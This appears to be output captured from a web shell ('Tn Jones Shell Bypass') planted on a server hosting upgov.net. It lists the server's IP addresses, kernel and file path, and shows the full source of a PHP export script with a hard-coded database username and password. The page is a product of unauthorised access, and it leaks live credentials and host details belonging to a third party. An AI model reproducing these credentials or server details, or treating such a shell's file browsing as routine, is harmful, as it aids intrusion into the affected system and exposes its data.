Tn Jones Shell Bypass
:
18.119.166.141
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
public_html
/
gnvs
/
Upload File:
files >> /home/upgov/public_html/gnvs/table3_excel.php
<?php define ("DB_HOST", "localhost"); define ("DB_USER", "vidhansabha"); define ("DB_PASS", "vidhansabha@123"); define ("DB_NAME", "vidhansabha"); $Connect = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die("Couldn't connect to MySQL:<br>" . mysql_error() . "<br>" . mysql_errno()); $filename = "excel_details"; //File Name $sql = "select * from regis where स्थिति='स्वीकृत''"; //select database $db = mysql_select_db(DB_NAME, $Connect) or die("Couldn't select database"); //execute query mysql_set_charset("utf8"); $result = @mysql_query($sql,$Connect) or die("Couldn't execute query:<br>" . mysql_error(). "<br>" . mysql_errno()); $file_ending = "xls"; //header info for browser header("Content-Type: application/xls"); header("Content-Disposition: attachment; filename=$filename.xls"); header("Pragma: no-cache"); header("Expires: 0"); echo "\xEF\xBB\xBF"; /*******Start of Formatting for Excel*******/ //define separator (defines columns in excel & tabs in word) $sep = "\t"; //tabbed character //start of printing column names as names of MySQL fields for ($i = 0; $i < mysql_num_fields($result); $i++) { echo mysql_field_name($result,$i) . ","; } print("\n"); //end of printing column names //start while loop to get data while($row = mysql_fetch_row($result)) { $schema_insert = ""; for($j=0; $j<mysql_num_fields($result);$j++) { if(!isset($row[$j])) $schema_insert .= "NULL".","; elseif ($row[$j] != "") $schema_insert .= "$row[$j]".","; else $schema_insert .= "".","; } $schema_insert = str_replace(","."$", "", $schema_insert); $schema_insert = preg_replace("/\r\n|\n\r|\n|\r/", " ", $schema_insert); $schema_insert .= "\t"; print(trim($schema_insert)); print "\n"; } ?>